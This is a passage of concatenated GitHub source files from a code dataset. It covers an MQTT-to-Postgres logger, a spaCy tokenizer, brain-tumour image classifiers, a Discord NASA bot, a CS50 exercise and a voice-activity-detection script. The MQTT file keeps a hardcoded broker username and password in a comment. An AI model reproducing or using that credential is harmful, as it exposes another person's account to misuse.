print(receiverid)\n # print()\n \n # insert into raw data table\n database_connection(\"insert into raw_data (bid, timestamp, receiverid) values (%s, %s, %s)\", \"insert\", bid, date_time, receiverid)\n \n # insert into daily attendance\n date = dt.strftime(\"%d/%m/%Y\")\n # database_connection(\"insert into daily_attendance (bid, date) values (%s, %s)\", 'insert', bid, dt.strftime(\"%d/%m/%Y\"))\n database_connection(\"insert into daily_attendance (bid, date) select %s, %s where not exists (select * from daily_attendance where bid = %s and date = %s)\", 'insert', bid, date, bid, date)\n \n # Checks whether client has been seen today\n check = database_connection(\"Select * from last_seen where bid = %s\", \"select\", bid)\n \n if check == []:\n # Add new client into last seen table\n database_connection(\"insert into last_seen(bid, timestamp, receiverid) values (%s, %s, %s)\", \"insert\", bid, date_time, receiverid)\n else:\n # Update client's last seen time\n database_connection(\"\"\"update last_seen \n set timestamp = %s, \n receiverid = %s \n where bid = %s\"\"\", \"update\", date_time, receiverid, bid)\n \n logging.info(\"Successfully processed message!\")\n\n# Database connection and query\ndef database_connection(query, type,*args):\n try:\n con = psycopg2.connect(database=DB_NAME, user=DB_USERNAME, password=DB_PASSWORD, host=DB_HOST)\n\n cur = con.cursor()\n # query = \"select * from user_details\"\n cur.execute(query, args)\n\n if (type == \"select\"):\n rows = cur.fetchall()\n # for row in rows:\n # print(row)\n elif(type == \"insert\" or type == \"update\"):\n con.commit()\n rows = None\n \n except (Exception, psycopg2.Error) as error:\n logging.error(\"Error fetching data from PostgreSQL table\", error)\n\n finally:\n if (con):\n return rows \n cur.close()\n con.close()\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\n# client.connect(\"soldier.cloudmqtt.com\", 11260)\n# client.username_pw_set(\"yrnbfcpz\", \"En09Pm6ARWAa\")\nclient.connect(\"broker.mqttdashboard.com\", 1883)\n\nclient.loop_forever()","repo_name":"TomThumbs/SMU-CS462-IoT-Server","sub_path":"mqtt/mqtt_to_db.py","file_name":"mqtt_to_db.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36658973296","text":"import spacy\n\nfrom textattack.models.tokenizers import Tokenizer\n\n\nclass SpacyTokenizer(Tokenizer):\n \"\"\" A basic implementation of the spaCy English tokenizer. \n \n Params:\n word2id (dict): A dictionary that matches words to IDs\n oov_id (int): An out-of-variable ID\n \"\"\"\n\n def __init__(self, word2id, oov_id, pad_id, max_length=128):\n self.tokenizer = spacy.load(\"en\").tokenizer\n self.word2id = word2id\n self.id2word = {v: k for k, v in word2id.items()}\n self.oov_id = oov_id\n self.pad_id = pad_id\n self.max_length = max_length\n\n def convert_text_to_tokens(self, text):\n if isinstance(text, tuple):\n if len(text) > 1:\n raise TypeError(\n \"Cannot train LSTM/CNN models with multi-sequence inputs.\"\n )\n text = text[0]\n if not isinstance(text, str):\n raise TypeError(\n f\"SpacyTokenizer can only tokenize `str`, got type {type(text)}\"\n )\n spacy_tokens = [t.text for t in self.tokenizer(text)]\n return spacy_tokens[: self.max_length]\n\n def convert_tokens_to_ids(self, tokens):\n ids = []\n for raw_token in tokens:\n token = raw_token.lower()\n if token in self.word2id:\n ids.append(self.word2id[token])\n else:\n ids.append(self.oov_id)\n pad_ids_to_add = [self.pad_id] * (self.max_length - len(ids))\n ids += pad_ids_to_add\n return ids\n\n def convert_id_to_word(self, _id):\n \"\"\"\n Takes an integer input and returns the corresponding word from the \n vocabulary.\n \n Raises: KeyError on OOV.\n \"\"\"\n return self.id2word[_id]\n","repo_name":"nemani/TextAttack","sub_path":"textattack/models/tokenizers/spacy_tokenizer.py","file_name":"spacy_tokenizer.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"72499753013","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport cv2\nimport ipywidgets as widgets\nimport io\nfrom PIL import Image\nimport numpy as np\nimport tqdm\nfrom sklearn.model_selection import train_test_split\nimport cv2\nfrom sklearn.utils import shuffle\nimport tensorflow as tf\nimport os\nimport keras\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.metrics import confusion_matrix\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D,Flatten,Dense,MaxPooling2D,Dropout\nfrom sklearn.metrics import accuracy_score\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\nfrom sklearn.metrics import accuracy_score, confusion_matrix, classification_report\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, MaxPooling2D, Flatten, Dense\nfrom sklearn.metrics import roc_curve, auc\nimport ipywidgets as widgets\nimport io\nfrom PIL import Image\nimport numpy as np\nimport tqdm\nfrom sklearn.model_selection import train_test_split\nimport cv2\nfrom sklearn.utils import shuffle\nimport tensorflow as tf\nimport os\n\n\n# In[2]:\n\n\nimport os\npath = os.listdir('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/training/')\nclasses = {'no_tumor':0, 'pituitary_tumor':1}\nimport cv2\nX = []\nY = []\nfor cls in classes:\n pth = 'C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/training/'+cls\n for j in os.listdir(pth):\n img = cv2.imread(pth+'/'+j, 0)\n img = cv2.resize(img, (200,200))\n X.append(img)\n Y.append(classes[cls])\n\n\n# In[3]:\n\n\nX = np.array(X)\nY = np.array(Y)\n\nX_updated = X.reshape(len(X), -1)\nnp.unique(Y)\npd.Series(Y).value_counts()\n\n\n# In[4]:\n\n\nX.shape, X_updated.shape\n\n\n# In[5]:\n\n\nplt.imshow(X[0], cmap='gray')\n\n\n# In[6]:\n\n\nX_updated = X.reshape(len(X), -1)\nX_updated.shape\n\n\n# In[7]:\n\n\nxtrain, xtest, ytrain, ytest = train_test_split(X_updated, Y, random_state=10,\n test_size=.20)\n\n\n# In[8]:\n\n\nxtrain.shape, xtest.shape\n\n\n# In[9]:\n\n\nprint(xtrain.max(), xtrain.min())\nprint(xtest.max(), xtest.min())\nxtrain = xtrain/255\nxtest = xtest/255\nprint(xtrain.max(), xtrain.min())\nprint(xtest.max(), xtest.min())\n\n\n# In[10]:\n\n\nfrom sklearn.decomposition import PCA\n\n\n# In[11]:\n\n\nprint(xtrain.shape, xtest.shape)\n\npca = PCA(.98)\n# pca_train = pca.fit_transform(xtrain)\n# pca_test = pca.transform(xtest)\npca_train = xtrain\npca_test = xtest\n\n\n# In[12]:\n\n\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.svm import SVC\n\n\n# In[13]:\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nlg = LogisticRegression(C=0.1)\nlg.fit(xtrain, ytrain)\n\n\n# In[14]:\n\n\nypred = lg.predict(xtest)\naccuracy = accuracy_score(ytest, ypred)\nconf_matrix = confusion_matrix(ytest, ypred)\nreport = classification_report(ytest, ypred)\nprint('Accuracy:', accuracy)\nprint(\"Logistic Regression Classification report:\\n\", report)\n\n\n# In[15]:\n\n\nlabels = ['No Tumour', 'Pituitary Tumor']\ncm = confusion_matrix(ytest, ypred)\nfig, ax = plt.subplots(figsize=(6, 4))\nsns.heatmap(cm, annot=True, fmt='g', cmap='RdGy', xticklabels=labels, yticklabels=labels, ax=ax)\nplt.xlabel('Predicted')\nplt.ylabel('True')\nplt.show()\n\n\n# In[16]:\n\n\nsv = SVC()\nsv.fit(xtrain, ytrain)\n\n\n# In[17]:\n\n\nprint(\"Training Score:\", lg.score(xtrain, ytrain))\nprint(\"Testing Score:\", lg.score(xtest, ytest))\n\n\n# In[18]:\n\n\nprint(\"Training Score:\", sv.score(xtrain, ytrain))\nprint(\"Testing Score:\", sv.score(xtest, ytest))\n\n\n# In[19]:\n\n\npred = sv.predict(xtest)\n\n\n# In[20]:\n\n\nmisclassified=np.where(ytest!=pred)\nmisclassified\n\n\n# In[21]:\n\n\nprint(\"Total Misclassified Samples: \",len(misclassified[0]))\nprint(pred[36],ytest[36])\n\n\n# In[22]:\n\n\ndec = {0:'No Tumor', 1:'Positive Tumor'}\n\n\n# In[23]:\n\n\nsvm_classifier = SVC(kernel='linear', random_state=101)\nsvm_classifier.fit(xtrain, ytrain)\nsvm_y_pred = svm_classifier.predict(xtest)\nsvm_accuracy = accuracy_score(ytest, pred)\nsvm_confusion = confusion_matrix(ytest, pred)\nsvm_report = classification_report(ytest, pred)\n\n\n# In[24]:\n\n\nprint(\"SVM Accuracy:\", svm_accuracy)\nprint(\"SVM Classification report:\\n\", svm_report)\n\n\n# In[25]:\n\n\nlabels = ['No Tumour', 'Pituitary Tumor']\ncm = confusion_matrix(ytest, pred)\nfig, ax = plt.subplots(figsize=(6, 4))\nsns.heatmap(cm, annot=True, fmt='g', cmap='Blues', xticklabels=labels, yticklabels=labels, ax=ax)\nplt.xlabel('Predicted')\nplt.ylabel('True')\nplt.show()\n\n\n# In[26]:\n\n\nplt.figure(figsize=(12,8))\np = os.listdir('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/training/')\nc=1\nfor i in os.listdir('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/training/no_tumor/')[:9]:\n plt.subplot(3,3,c)\n \n img = cv2.imread('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/training/no_tumor/'+i,0)\n img1 = cv2.resize(img, (200,200))\n img1 = img1.reshape(1,-1)/255\n p = sv.predict(img1)\n plt.title(dec[p[0]])\n plt.imshow(img, cmap='gray')\n plt.axis('off')\n c+=1\n\n\n# In[27]:\n\n\nplt.figure(figsize=(12,8))\np = os.listdir('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/testing/')\nc=1\nfor i in os.listdir('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/testing/pituitary_tumor/')[:16]:\n plt.subplot(4,4,c)\n \n img = cv2.imread('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/braindata/testing/pituitary_tumor/'+i,0)\n img1 = cv2.resize(img, (200,200))\n img1 = img1.reshape(1,-1)/255\n p = sv.predict(img1)\n plt.title(dec[p[0]])\n plt.imshow(img, cmap='gray')\n plt.axis('off')\n c+=1\n\n\n# In[28]:\n\n\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Conv2D,Flatten,Dense,MaxPooling2D,Dropout\nfrom sklearn.metrics import accuracy_score\n\n\n# In[29]:\n\n\n\nX_train = []\nY_train = []\nimage_size = 200\nlabels = ['no_tumor','pituitary_tumor']\nfor i in labels:\n folderPath = os.path.join('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/brain_tumor_dataset/data/Training',i)\n for j in os.listdir(folderPath):\n img = cv2.imread(os.path.join(folderPath,j))\n img = cv2.resize(img,(image_size,image_size))\n X_train.append(img)\n Y_train.append(i)\n \nfor i in labels:\n folderPath = os.path.join('C:/Users/smrit/OneDrive/Desktop/rese/braincancer/brain_tumor_dataset/data/Testing',i)\n for j in os.listdir(folderPath):\n img = cv2.imread(os.path.join(folderPath,j))\n img = cv2.resize(img,(image_size,image_size))\n X_train.append(img)\n Y_train.append(i)\nX_train = np.array(X_train)\nY_train = np.array(Y_train)\n\n\n# In[30]:\n\n\nX_train,Y_train = shuffle(X_train,Y_train,random_state=101)\nX_train.shape\n\n\n# In[31]:\n\n\nX_train,X_test,y_train,y_test = train_test_split(X_train,Y_train,test_size=0.2,random_state=101)\n\n\n# In[32]:\n\n\ny_train_new = []\n#ml should have binary values\nfor i in y_train:\n y_train_new.append(labels.index(i))\ny_train=y_train_new\ny_train = tf.keras.utils.to_categorical(y_train)\n\ny_test_new = []\nfor i in y_test:\n y_test_new.append(labels.index(i))\ny_test=y_test_new\ny_test = tf.keras.utils.to_categorical(y_test)\n\n\n# In[33]:\n\n\nmodel = Sequential()\nmodel.add(Conv2D(32,(3,3),activation = 'relu',input_shape=(200,200,3)))\nmodel.add(Conv2D(64,(3,3),activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(64,(3,3),activation='relu'))\nmodel.add(Conv2D(64,(3,3),activation='relu'))\nmodel.add(Dropout(0.3))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(128,(3,3),activation='relu'))\nmodel.add(Conv2D(128,(3,3),activation='relu'))\nmodel.add(Conv2D(128,(3,3),activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Dropout(0.3))\nmodel.add(Conv2D(128,(3,3),activation='relu'))\nmodel.add(Conv2D(256,(3,3),activation='relu'))\nmodel.add(MaxPooling2D(2,2))\nmodel.add(Dropout(0.3))\nmodel.add(Flatten())\nmodel.add(Dense(512,activation = 'relu'))\nmodel.add(Dense(512,activation = 'relu'))\nmodel.add(Dropout(0.3))\nmodel.add(Dense(2,activation='softmax'))\n\n\n# In[34]:\n\n\nmodel.summary()\n\n\n# In[35]:\n\n\nmodel.compile(loss='categorical_crossentropy',optimizer='Adam',metrics=['accuracy'])\n\n\n# In[ ]:\n\n\nhistory=model.fit(X_train,y_train,epochs=10,validation_split=0.25)\n\n\n# In[ ]:\n\n\ncnn_acc=accuracy_score(y_test,np.round(model.predict(X_test)))\n\n\n# In[ ]:\n\n\nprint(\"Accuracy of CNN\",cnn_acc)\n\n\n# In[ ]:\n\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nacc = history.history['accuracy']\nval_acc = history.history['val_accuracy']\nepochs = range(len(acc))\nfig = plt.figure(figsize=(14,7))\nplt.plot(epochs,acc,'r',label=\"Training Accuracy\")\nplt.plot(epochs,val_acc,'b',label=\"Validation Accuracy\")\nplt.legend(loc='upper left')\nplt.show()\n\n\n# In[ ]:\n\n\nimport matplotlib.pyplot as plt\nlabels = ['CNN', 'SVM']\naccuracy_scores = [cnn_acc, svm_accuracy]\nplt.bar(labels, accuracy_scores)\nplt.title('Comparison of CNN and SVM on Brain Dataset')\nplt.xlabel('Model')\nplt.ylabel('Accuracy')\nplt.show()\n\n\n# In[ ]:\n\n\n'''labels = ['No Tumour', 'Pituitary Tumor']\ncr = confusion_matrix(y_test,np.round(model.predict(X_test)))\nfig, ax = plt.subplots(figsize=(6, 4))\nsns.heatmap(cr, annot=True, fmt='g', cmap='Blues', xticklabels=labels, yticklabels=labels, ax=ax)\nplt.xlabel('Predicted')\nplt.ylabel('True')\nplt.show()'''\nlabels = ['No Tumour', 'Pituitary Tumor']\ny_pred = np.argmax(model.predict(X_test), axis=-1)\ny_test_single = np.argmax(y_test, axis=-1)\ncm = confusion_matrix(y_test_single, y_pred)\nfig, ax = plt.subplots(figsize=(6, 4))\nsns.heatmap(cm, annot=True, fmt='g', cmap='viridis', xticklabels=labels, yticklabels=labels, ax=ax)\nplt.xlabel('Predicted')\nplt.ylabel('True')\nplt.show()\n\n\n# In[ ]:\n\n\nreport = classification_report(y_test_single, y_pred)\nprint(report)\n\n\n# In[ ]:\n\n\nlabels = ['Logistic Regression', 'SVM', 'CNN']\naccuracy = [accuracy, svm_accuracy, cnn_acc]\nplt.bar(labels, accuracy)\nplt.title('Accuracy Comparison')\nplt.xlabel('Algorithm')\nplt.ylabel('Accuracy')\nplt.show()\n\n\n# In[ ]:\n\n\n\n# Compute FPR and TPR for each model\nsvm_fpr, svm_tpr, svm_thresholds = roc_curve(ytest, pred)\nroc_auc_svm = auc(svm_fpr, svm_tpr)\ncnn_fpr, cnn_tpr, cnn_thresholds = roc_curve(y_test_single, y_pred)\nroc_auc_cnn = auc(cnn_fpr, cnn_tpr)\nlr_fpr, lr_tpr, lr_thresholds = roc_curve(ytest, ypred)\nroc_auc_lr = auc(lr_fpr, lr_tpr)\n\nplt.plot(svm_fpr, svm_tpr, color='blue', lw=2, label='SVM (AUC = %0.2f)' % roc_auc_svm)\nplt.plot(cnn_fpr, cnn_tpr, color='green', lw=2, label='CNN (AUC = %0.2f)' % roc_auc_cnn)\nplt.plot(lr_fpr, lr_tpr, color='red', lw=2, label='Logistic Regression (AUC = %0.2f)' % roc_auc_lr)\n\nplt.plot([0, 1], [0, 1], color='black', lw=2, linestyle='--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('ROC Curve Comparison')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"smritisrivastav20/Comparison-Model-of-Brain-Tumor-Classification","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":11057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33630442178","text":"# Import\nfrom datetime import datetime\n\nimport discord\nimport requests\nfrom discord.ext import commands\n\n# Framework\nimport Framework\n\n\n# Cog Initialising\n\n\nclass NASA(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.group(aliases=[\"na\"], invoke_without_command=True)\n async def NASA(self, ctx):\n\n embed = discord.Embed(\n title=\"NASA\",\n colour=Framework.Farbe.Lp_Blue,\n description=f\"Dies ist die **NASA Gruppe**.\\nGebe: `{self.client.command_prefix}nasa Command` ein.\\n Command: - **ap**n\"\n )\n embed.set_thumbnail(url=f'{Framework.YAML.GET(\"Bilder\", \"NASA\")}')\n await Framework.Messaging.Universal_send(ctx, embed)\n\n # PICTURE_OF_THE_DAY\n\n @NASA.group(aliases=['ap'])\n async def Astr_pic_day(self, ctx):\n url = f\"https://api.nasa.gov/planetary/apod?api_key={str(Framework.YAML.GET('Variables', 'API', 'NASA'))}\"\n\n data = requests.get(url).json()\n\n pic_url = data[\"url\"]\n datum = data[\"date\"]\n datum = datum.replace(\"-\", \"/\")\n datum = datetime.strptime(datum, \"%Y/%m/%d\")\n try:\n copy_right = data[\"copyright\"]\n except:\n copy_right = \"None\"\n title = data[\"title\"]\n description = data[\"explanation\"]\n\n embed = discord.Embed(\n title=f\"Astronomic Picture of the Day: {title}\",\n colour=Framework.Farbe.Lp_Blue,\n description=f\"{description}\\n**URL:** _{pic_url}_\",\n timestamp=datum\n )\n embed.set_thumbnail(url=f'{Framework.YAML.GET(\"Bilder\", \"NASA\")}')\n embed.set_image(url=f\"{pic_url}\")\n embed.set_footer(text=f\"Copyright: {copy_right} | \")\n\n await Framework.Messaging.Universal_send(ctx, embed, 30)\n\n\n# Cog Finishing\n\n\ndef setup(client):\n client.add_cog(NASA(client))\n","repo_name":"LuMiSxh/Adenn","sub_path":"Extensions/NASA.py","file_name":"NASA.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23988056564","text":"from cs50 import get_int\n\nwhile True:\n size = get_int('Please enter a size between 1 - 8:\\n')\n if size < 0 or size > 8:\n size = input('Please enter a size between 1 - 8:\\n')\n else:\n break\nrow = 1\nfor i in range(size):\n # First print out the spaces on the row\n for j in range(size - row):\n print(\" \", end = \"\")\n # Then print out the hash marks for the left pyramid\n for k in range(row):\n print(\"#\", end = \"\")\n # Then print the two spaces\n for i in [1, 2]:\n print(\" \", end = \"\")\n # Lastly print out the hash marks for the right pyramid\n for m in range(row):\n print(\"#\", end = \"\")\n row += 1\n print(\"\\n\", end = \"\")\n\n","repo_name":"gavischneider/harvard-university","sub_path":"CS50s Introduction to Computer Science/pset6/mario/more/mario.py","file_name":"mario.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35452836652","text":"import numpy as np\r\nfrom sklearn.mixture import GaussianMixture\r\nimport wave\r\nimport math\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.io import wavfile\r\nimport python_speech_features as psf\r\nimport vad_utils as vad\r\nimport evaluate as eva\r\n\r\n\"\"\"\r\n已知音频文件采样率均为16kHz\r\n取帧长度32ms : frame_length = 512\r\n取帧移8ms : step = 128\r\n\"\"\"\r\n\r\n# 路径\r\ndev_wav_path = \"../vad/wavs/dev\"\r\ntrain_wav_path = \"../vad/wavs/train\"\r\nlabel_path = \"../vad/data\"\r\n\r\n# 读label文件\r\ndev_label_data = vad.read_label_from_file(label_path + \"/dev_label.txt\")\r\ntrain_label_data = vad.read_label_from_file(label_path + \"/train_label.txt\")\r\nprint(\"Read label success\")\r\n\r\n# 读取文件夹\r\ndev_files = os.listdir(dev_wav_path)\r\ntrain_files = os.listdir(train_wav_path)\r\nprint(\"Read files success\")\r\n\r\n# total_frames = 0\r\n\r\nvoice_features = []\r\nnonvoice_features = []\r\n# print(\"List initialize success\")\r\n\r\nfor file in train_files:\r\n # 读取当前wav的label\r\n current_label_data = train_label_data[file[0:-4]]\r\n # 读取当前wav文件\r\n sample_rate, wav_data = wavfile.read(train_wav_path + \"/\" + file)\r\n\r\n print(\"Processing \" + train_wav_path + \"/\" + file)\r\n\r\n wav_vector = psf.base.mfcc(wav_data, 16000, 0.032, 0.008)\r\n\r\n # 计算帧数\r\n L = len(wav_data)\r\n num_of_steps = np.asarray(np.ceil((L - 512) / 128) + 1, dtype=int)\r\n\r\n # total_frames += num_of_steps\r\n\r\n # print(num_of_steps)\r\n # print(len(wav_vector))\r\n\r\n # 时间轴\r\n time = np.zeros(num_of_steps)\r\n for i in range(num_of_steps):\r\n time[i] = (i * 128 + 256) / 16000\r\n\r\n # 补零\r\n current_label_data = train_label_data[file[0:-4]]\r\n current_label_data = list(current_label_data) + list(\r\n np.zeros(len(time) - len(current_label_data))\r\n )\r\n\r\n for i in range(num_of_steps):\r\n if current_label_data[i] == 1:\r\n # 标记为语音片段的帧\r\n voice_features.append(wav_vector[i])\r\n else:\r\n # 标记为非语音片段的帧\r\n nonvoice_features.append(wav_vector[i])\r\n\r\n # print(wav_vector)\r\n # print(np.array(wav_vector).shape)\r\n # break\r\n\r\n# 语音片段\r\nprint(\"Num of voice frames: \", len(voice_features))\r\n# voice_features = np.vstack((voice_features, voice_vector))\r\n# 非语音片段\r\nprint(\"Num of nonvoice frames: \", len(nonvoice_features))\r\n# nonvoice_features = np.vstack((voice_features, nonvoice_vector))\r\n\r\nprint(\"\\nTraining voice GMM...\\n\")\r\nprint(\r\n \"\\n该程序原本通过ipynb进行编写和运行\",\r\n \"\\n报告中n_components为100,covariance_type为full\",\r\n \"\\n转为py后为测试程序能正常运行,将两者分别改为10和diag以提高运行速度\\n\",\r\n)\r\nvoice_gmm = GaussianMixture(n_components=5, covariance_type=\"diag\")\r\nvoice_gmm.fit(voice_features)\r\nprint(\"Voice GMM converged: \")\r\nprint(voice_gmm.converged_)\r\n\r\nprint(\"\\nTraining non-voice GMM...\\n\")\r\nnonvoice_gmm = GaussianMixture(n_components=5, covariance_type=\"diag\")\r\nnonvoice_gmm.fit(nonvoice_features)\r\nprint(\"Nonvoice GMM converged: \")\r\nprint(nonvoice_gmm.converged_)\r\n\r\n\r\ndef get_acc(prediction, actual):\r\n \"\"\"\r\n input:\r\n prediction 预测list eg.[0,0,1,0,...,1,0]\r\n actual 从实际label文件中读取的list\r\n return:\r\n acc accuracy\r\n \"\"\"\r\n total_frame = len(actual)\r\n correct_frame = 0\r\n\r\n for i in range(total_frame):\r\n if prediction[i] == actual[i]:\r\n correct_frame += 1\r\n acc = correct_frame / total_frame\r\n\r\n return acc\r\n\r\n\r\n\"\"\"\r\n /dev\r\n 开发集\r\n 所有不随循环消亡的变量均带dev_前缀\r\n\"\"\"\r\n\r\n# 创建输出文件\r\ndev_output = open(\"dev_output.txt\", \"w\")\r\n\r\n# 用于计算AUC、EER、ROC等指标的变量,不随循环消亡\r\ndev_reserve_for_cal = []\r\ndev_label_for_cal = []\r\n\r\n# 读取开发集label,返回dict\r\ndev_label_data = vad.read_label_from_file(label_path + \"/dev_label.txt\")\r\n\r\nfor file in dev_files:\r\n sample_rate, wav_data = wavfile.read(dev_wav_path + \"/\" + file)\r\n\r\n # print(\"Processing \" + dev_wav_path + \"/\" + file)\r\n\r\n vectors = psf.base.mfcc(wav_data, sample_rate, 0.032, 0.008)\r\n\r\n # # 计算两个模型下的predict\r\n # voice_predict = np.array(voice_gmm.predict(vectors))\r\n # non_predict = np.array(nonvoice_gmm.predict(vectors))\r\n\r\n # 计算两个模型下的scores\r\n voice_score_samples = np.array(voice_gmm.score_samples(vectors))\r\n non_score_samples = np.array(nonvoice_gmm.score_samples(vectors))\r\n\r\n # print(voice_score_samples)\r\n # print(non_score_samples)\r\n # print(len(voice_score))\r\n # print(len(non_score))\r\n\r\n # 计算帧数,帧数、两个predict的长度应都相同\r\n L = len(wav_data)\r\n num_of_steps = np.asarray(np.ceil((L - 512) / 128) + 1, dtype=int)\r\n # print(num_of_steps)\r\n\r\n # 时间轴\r\n time = np.zeros(num_of_steps)\r\n for i in range(num_of_steps):\r\n time[i] = (i * 128 + 256) / 16000\r\n\r\n # 补零\r\n current_label_data = dev_label_data[file[0:-4]]\r\n current_label_data = list(current_label_data) + list(\r\n np.zeros(len(time) - len(current_label_data))\r\n )\r\n # print(len(current_label_data))\r\n\r\n # 保存label\r\n for i in range(len(current_label_data)):\r\n dev_label_for_cal.append(current_label_data[i])\r\n # print(len(dev_label_for_cal))\r\n\r\n # 定义并初始化保存单个wav文件中各帧prediction的list\r\n result = []\r\n\r\n # 取大\r\n for i in range(len(voice_score_samples)):\r\n if voice_score_samples[i] >= non_score_samples[i]:\r\n result.append(1)\r\n dev_reserve_for_cal.append(1)\r\n else:\r\n result.append(0)\r\n dev_reserve_for_cal.append(0)\r\n\r\n # for i in range(len(voice_score_samples)):\r\n # dev_reserve_for_cal.append(voice_score_samples[i]/(voice_score_samples[i]+non_score_samples[i]))\r\n\r\n dev_label = []\r\n dev_label = vad.prediction_to_vad_label(result)\r\n\r\n dev_output.write(file[0:-4] + \" \" + dev_label + \"\\n\")\r\n\r\ndev_output.close()\r\nprint(\"\\nComplete!\\nResult file generated as dev_output.txt\\n\")\r\n\r\nprint(\"\\nCalculating AUC, EER, TPR, FPR, Threshold of dev dataset...\\n\")\r\nauc, eer, tpr, fpr, thres = eva.get_metrics(dev_reserve_for_cal, dev_label_for_cal)\r\nprint(\"AUC = \", auc)\r\nprint(\"EER = \", eer)\r\nprint(\"TPR = \", tpr)\r\n# print(tpr.shape)\r\nprint(\"FPR = \", fpr)\r\n# print(fpr.shape)\r\n# print(\"Threshold = \", thres)\r\n\r\ndev_acc = get_acc(dev_reserve_for_cal, dev_label_for_cal)\r\nprint(\"ACC = \", dev_acc)\r\n\r\nplt.plot(fpr, tpr)\r\nplt.xlabel(\"FPR\")\r\nplt.ylabel(\"TPR\")\r\nplt.title(\"ROC\")\r\nplt.savefig(\"dev_ROC.png\")\r\nplt.show()\r\n\r\n\"\"\"\r\n test/\r\n 测试集\r\n 所有不随循环消亡的变量均带test_前缀\r\n\"\"\"\r\n\r\n# 创建输出文件\r\ntest_output = open(\"test_output.txt\", \"w\")\r\n\r\n# 定义测试集语音路径\r\ntest_wav_path = \"../vad/wavs/test\"\r\n\r\n# 读取测试集文件夹\r\ntest_files = os.listdir(test_wav_path)\r\n\r\n# 用于计算AUC、EER、ROC等指标的变量,不随循环消亡\r\ntest_reserve_for_cal = []\r\ntest_label_for_cal = []\r\n\r\nfor file in test_files:\r\n # 读取语音\r\n sample_rate, wav_data = wavfile.read(test_wav_path + \"/\" + file)\r\n print(\"Processing \" + test_wav_path + \"/\" + file)\r\n\r\n # MFCC\r\n vectors = psf.base.mfcc(wav_data, sample_rate, 0.032, 0.008)\r\n\r\n # 计算帧数\r\n L = len(wav_data)\r\n num_of_steps = np.asarray(np.ceil((L - 512) / 128) + 1, dtype=int)\r\n\r\n # 计算两个模型下的scores\r\n voice_score_samples = np.array(voice_gmm.score_samples(vectors))\r\n non_score_samples = np.array(nonvoice_gmm.score_samples(vectors))\r\n\r\n # 定义并初始化保存单个wav文件中各帧prediction的list\r\n result = []\r\n\r\n # 取大\r\n for i in range(len(voice_score_samples)):\r\n if voice_score_samples[i] >= non_score_samples[i]:\r\n result.append(1)\r\n test_reserve_for_cal.append(1)\r\n else:\r\n result.append(0)\r\n test_reserve_for_cal.append(0)\r\n\r\n # test_label是保存单个wav文件VAD label的list\r\n test_label = []\r\n test_label = vad.prediction_to_vad_label(result)\r\n test_output.write(file[0:-4] + \" \" + test_label + \"\\n\")\r\n\r\ntest_output.close()\r\nprint(\"\\nComplete!\\nResult file generated as test_output.txt\\n\")\r\n","repo_name":"jbwenjoy/SJTU-CS249-HW1-VoiceActivityDectction","sub_path":"task2/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":8243,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"29398647248","text":"import gym\nimport numpy as np\nimport sys\nimport os\nimport fire\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport csv\n\nfrom stable_baselines.common.policies import MlpPolicy\nfrom stable_baselines.common.vec_env import DummyVecEnv\nfrom stable_baselines.ppo2 import PPO2\n\nfrom stable_baselines.bench import Monitor\nfrom stable_baselines.results_plotter import load_results, ts2xy\n\ndef movingAverage(values, window):\n \"\"\"\n Smooth values by doing a moving average\n :param values: (numpy array)\n :param window: (int)\n :return: (numpy array)\n \"\"\"\n weights = np.repeat(1.0, window) / window\n return np.convolve(values, weights, 'valid')\n\ndef 